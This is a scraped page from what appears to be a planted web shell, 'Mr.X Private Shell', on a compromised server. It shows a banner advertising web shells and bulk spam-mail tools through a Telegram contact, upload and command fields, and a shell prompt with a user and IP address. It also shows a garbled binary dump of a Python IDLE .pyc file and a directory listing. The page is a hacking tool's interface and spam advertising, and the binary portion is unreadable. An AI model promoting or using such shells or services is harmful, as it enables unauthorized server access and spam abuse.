__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.122: ~ $
�
e f� �@s�dZddlZddlmZmZmZmZmZddlZddl	m
Zddlm
Z
dddd	d
ddd
dddhZdZdZejd�dd�ZGdd�d�ZdS)aICodeContext - Extension to display the block context above the edit window

Once code has scrolled off the top of a window, it can be difficult to
determine which block you are in.  This extension implements a pane at the top
of each IDLE edit window which provides block structure hints.  These hints are
the lines which contain the block opening keywords, e.g. 'if', for the
enclosing block.  The number of hint lines is determined by the numlines
variable in the CodeContext section of config-extensions.def. Lines which do
not open blocks are not shown in the context hints pane.

�N)�TOP�LEFT�X�W�SUNKEN)�maxsize)�idleConf�class�def�elif�else�except�finally�for�if�try�while�with�di�z^(\s*)(\w*)cCs|j|�j�S)N)�match�groups)�s�c�r�8/opt/alt/python34/lib64/python3.4/idlelib/CodeContext.py�<lambda>src@s�eZdZdd gfgZejddddddd	�Zejddd
dddd�Zejddd
dddd�Zdd�Z	ddd�Z
dd�Zdddd�Zdd�Z
dd�Zdd�ZdS)!�CodeContextZoptions�!Code Conte_xt�<<toggle-code-context>>�
extensionsZnumlines�type�int�default��bgcolor�strZ	LightGray�fgcolorZBlackcCs�||_|j|_|jd|_d|_dg|_d|_tjdddd	d
dd�}|r�|j�|jj	dd
�n|jj
t|j�|jj
t
|j�dS)N�fontr��Frr�visibler �boolr"z<<toggle-code-context>>T���)rr,r)F)�editwin�text�textfont�label�info�
topvisibler�	GetOption�toggle_code_context_eventZsetvar�after�UPDATEINTERVAL�timer_event�FONTUPDATEINTERVAL�font_timer_event)�selfr-r*rrr�__init__"s			
zCodeContext.__init__NcCs�|jsC|jj|jjf}d}xM|D]E}|tt|j�d��7}|tt|jd���7}q.Wd}x-|D]%}|tt|jd���7}q�Wtj	|jj
dd|jddtdt
d	|jd
|jd|jddd|d|d
t�
|_|jjdtdtddd|jj�n|jj�d|_tjdddt|jdk	��tj�dS)Nr�padx�borderr.�
r(ZanchorZjustifyr'ZbgZfg�widthZreliefZsideZfill�expandFZbeforerrr*)r0r-r.Z
text_framer!r%Z	pack_infoZcget�tkinterZLabel�top�
context_depthrrr/r$r&rZpackrrZdestroyrZ	SetOptionZSaveUserCfgFiles)r:ZeventZwidgetsr<Zwidgetr=rrrr47s0	
 #
#	
	z%CodeContext.toggle_code_context_eventcCs�|jjd|d|�}t|�\}}|tko>|}t|�t|�kso|t|�dkrxt}nt|�}|||fS)z�Get the line indent value, text, and any block start keyword

        If the line does not start a block, the keyword value is False.
        The indentation of empty lines (or comment lines) is INFINITY.

        z%d.0z%d.end�#)r.�get�getspacesfirstword�BLOCKOPENERS�len�INFINITY)r:�linenumr.ZspacesZ	firstword�opener�indentrrr�
get_line_info[s.	zCodeContext.get_line_infor(rc
Cs�|dkst�g}t}x�t||dd�D]�}|j|�\}}}	||kr5|}|	dkr~|d7}n|	r�||kr�||kr�|j||||	f�n||kr�Pq�q5q5W|j�||fS)z�Get context lines, starting at new_topvisible and working backwards.

        Stop when stopline or stopindent is reached. Return a tuple of context
        data and the indent level at the top of the region inspected.

        rr(rrr,)zelsezelif)�AssertionErrorrI�rangerM�append�reverse)
r:�new_topvisibleZstopline�
stopindent�lines�
lastindentrJrLr.rKrrr�get_contextks

zCodeContext.get_contextcCs�t|jjd�jd�d�}|j|kr8dS|j|kr�|j||j�\}}x�|jdd|kr�|jd=qeWn�|j|kr|jd
dd}x6|jdd|kr�|jdd}|jd=q�W|j||jddd|�\}}n|jj|�||_dgtd|j	t
|j��}|dd�|j|j	d�D�7}d	j|�|jd
<dS)zKUpdate context information and lines visible in the context pane.

        z@0,0�.rNr(r)cSsg|]}|d�qS)�r)�.0�xrrr�
<listcomp>�s	z3CodeContext.update_code_context.<locals>.<listcomp>r>r.r,r,r,r,r,r,r,)
r!r.�index�splitr2rVr1�extend�maxrCrH�joinr0)r:rRrTrUrSZcontext_stringsrrr�update_code_context�s*%			&(zCodeContext.update_code_contextcCs0|jr|j�n|jjt|j�dS)N)r0rar.r5r6r7)r:rrrr7�s	
zCodeContext.timer_eventcCs[|jd}|jrA||jkrA||_|j|jd<n|jjt|j�dS)Nr')r.r0r/r5r8r9)r:Znewtextfontrrrr9�s

	zCodeContext.font_timer_event)rr)�__name__�
__module__�__qualname__Zmenudefsrr3rCr$r&r;r4rMrVrar7r9rrrrrs$ r)�__doc__rAZtkinter.constantsrrrrr�re�sysrrIZidlelib.configHandlerrrGr6r8�compilerFrrrrr�<module>s(

Filemanager

Name Type Size Permission Actions
AutoComplete.cpython-34.pyc File 7.53 KB 0644
AutoComplete.cpython-34.pyo File 7.53 KB 0644
AutoCompleteWindow.cpython-34.pyc File 11.27 KB 0644
AutoCompleteWindow.cpython-34.pyo File 11.21 KB 0644
AutoExpand.cpython-34.pyc File 3.11 KB 0644
AutoExpand.cpython-34.pyo File 3.11 KB 0644
Bindings.cpython-34.pyc File 3.08 KB 0644
Bindings.cpython-34.pyo File 3.08 KB 0644
CallTipWindow.cpython-34.pyc File 5.24 KB 0644
CallTipWindow.cpython-34.pyo File 5.24 KB 0644
CallTips.cpython-34.pyc File 5.81 KB 0644
CallTips.cpython-34.pyo File 5.81 KB 0644
ClassBrowser.cpython-34.pyc File 8.38 KB 0644
ClassBrowser.cpython-34.pyo File 8.38 KB 0644
CodeContext.cpython-34.pyc File 6.04 KB 0644
CodeContext.cpython-34.pyo File 6 KB 0644
ColorDelegator.cpython-34.pyc File 7.84 KB 0644
ColorDelegator.cpython-34.pyo File 7.84 KB 0644
Debugger.cpython-34.pyc File 15.3 KB 0644
Debugger.cpython-34.pyo File 15.3 KB 0644
Delegator.cpython-34.pyc File 1.08 KB 0644
Delegator.cpython-34.pyo File 1.08 KB 0644
EditorWindow.cpython-34.pyc File 51.43 KB 0644
EditorWindow.cpython-34.pyo File 51.34 KB 0644
FileList.cpython-34.pyc File 3.55 KB 0644
FileList.cpython-34.pyo File 3.53 KB 0644
FormatParagraph.cpython-34.pyc File 6.22 KB 0644
FormatParagraph.cpython-34.pyo File 6.22 KB 0644
GrepDialog.cpython-34.pyc File 5.53 KB 0644
GrepDialog.cpython-34.pyo File 5.53 KB 0644
HyperParser.cpython-34.pyc File 7.26 KB 0644
HyperParser.cpython-34.pyo File 7.26 KB 0644
IOBinding.cpython-34.pyc File 14.1 KB 0644
IOBinding.cpython-34.pyo File 14.1 KB 0644
IdleHistory.cpython-34.pyc File 3.62 KB 0644
IdleHistory.cpython-34.pyo File 3.62 KB 0644
MultiCall.cpython-34.pyc File 16.23 KB 0644
MultiCall.cpython-34.pyo File 16.17 KB 0644
MultiStatusBar.cpython-34.pyc File 1.9 KB 0644
MultiStatusBar.cpython-34.pyo File 1.9 KB 0644
ObjectBrowser.cpython-34.pyc File 5.39 KB 0644
ObjectBrowser.cpython-34.pyo File 5.39 KB 0644
OutputWindow.cpython-34.pyc File 4.44 KB 0644
OutputWindow.cpython-34.pyo File 4.44 KB 0644
ParenMatch.cpython-34.pyc File 6.32 KB 0644
ParenMatch.cpython-34.pyo File 6.32 KB 0644
PathBrowser.cpython-34.pyc File 4.02 KB 0644
PathBrowser.cpython-34.pyo File 4.02 KB 0644
Percolator.cpython-34.pyc File 4.03 KB 0644
Percolator.cpython-34.pyo File 3.86 KB 0644
PyParse.cpython-34.pyc File 11.26 KB 0644
PyParse.cpython-34.pyo File 10.82 KB 0644
PyShell.cpython-34.pyc File 47.08 KB 0644
PyShell.cpython-34.pyo File 46.94 KB 0644
RemoteDebugger.cpython-34.pyc File 14.31 KB 0644
RemoteDebugger.cpython-34.pyo File 14.17 KB 0644
RemoteObjectBrowser.cpython-34.pyc File 1.96 KB 0644
RemoteObjectBrowser.cpython-34.pyo File 1.96 KB 0644
ReplaceDialog.cpython-34.pyc File 6.76 KB 0644
ReplaceDialog.cpython-34.pyo File 6.76 KB 0644
RstripExtension.cpython-34.pyc File 1.33 KB 0644
RstripExtension.cpython-34.pyo File 1.33 KB 0644
ScriptBinding.cpython-34.pyc File 6.92 KB 0644
ScriptBinding.cpython-34.pyo File 6.92 KB 0644
ScrolledList.cpython-34.pyc File 5.64 KB 0644
ScrolledList.cpython-34.pyo File 5.64 KB 0644
SearchDialog.cpython-34.pyc File 3.28 KB 0644
SearchDialog.cpython-34.pyo File 3.28 KB 0644
SearchDialogBase.cpython-34.pyc File 7.53 KB 0644
SearchDialogBase.cpython-34.pyo File 7.53 KB 0644
SearchEngine.cpython-34.pyc File 7.3 KB 0644
SearchEngine.cpython-34.pyo File 7.3 KB 0644
StackViewer.cpython-34.pyc File 5.49 KB 0644
StackViewer.cpython-34.pyo File 5.49 KB 0644
ToolTip.cpython-34.pyc File 3.96 KB 0644
ToolTip.cpython-34.pyo File 3.96 KB 0644
TreeWidget.cpython-34.pyc File 15.29 KB 0644
TreeWidget.cpython-34.pyo File 15.29 KB 0644
UndoDelegator.cpython-34.pyc File 11.54 KB 0644
UndoDelegator.cpython-34.pyo File 11.54 KB 0644
WidgetRedirector.cpython-34.pyc File 6.95 KB 0644
WidgetRedirector.cpython-34.pyo File 6.95 KB 0644
WindowList.cpython-34.pyc File 3.16 KB 0644
WindowList.cpython-34.pyo File 3.16 KB 0644
ZoomHeight.cpython-34.pyc File 1.37 KB 0644
ZoomHeight.cpython-34.pyo File 1.37 KB 0644
__init__.cpython-34.pyc File 434 B 0644
__init__.cpython-34.pyo File 434 B 0644
__main__.cpython-34.pyc File 279 B 0644
__main__.cpython-34.pyo File 279 B 0644
aboutDialog.cpython-34.pyc File 5.81 KB 0644
aboutDialog.cpython-34.pyo File 5.81 KB 0644
configDialog.cpython-34.pyc File 47.84 KB 0644
configDialog.cpython-34.pyo File 47.84 KB 0644
configHandler.cpython-34.pyc File 26.1 KB 0644
configHandler.cpython-34.pyo File 26.1 KB 0644
configHelpSourceEdit.cpython-34.pyc File 5.66 KB 0644
configHelpSourceEdit.cpython-34.pyo File 5.66 KB 0644
configSectionNameDialog.cpython-34.pyc File 3.85 KB 0644
configSectionNameDialog.cpython-34.pyo File 3.85 KB 0644
dynOptionMenuWidget.cpython-34.pyc File 2.38 KB 0644
dynOptionMenuWidget.cpython-34.pyo File 2.38 KB 0644
help.cpython-34.pyc File 9.52 KB 0644
help.cpython-34.pyo File 9.52 KB 0644
idle.cpython-34.pyc File 368 B 0644
idle.cpython-34.pyo File 368 B 0644
idlever.cpython-34.pyc File 551 B 0644
idlever.cpython-34.pyo File 551 B 0644
keybindingDialog.cpython-34.pyc File 10.76 KB 0644
keybindingDialog.cpython-34.pyo File 10.76 KB 0644
macosxSupport.cpython-34.pyc File 7.13 KB 0644
macosxSupport.cpython-34.pyo File 7.02 KB 0644
rpc.cpython-34.pyc File 20.51 KB 0644
rpc.cpython-34.pyo File 20.41 KB 0644
run.cpython-34.pyc File 12.35 KB 0644
run.cpython-34.pyo File 12.3 KB 0644
tabbedpages.cpython-34.pyc File 16.74 KB 0644
tabbedpages.cpython-34.pyo File 16.74 KB 0644
textView.cpython-34.pyc File 3.26 KB 0644
textView.cpython-34.pyo File 3.26 KB 0644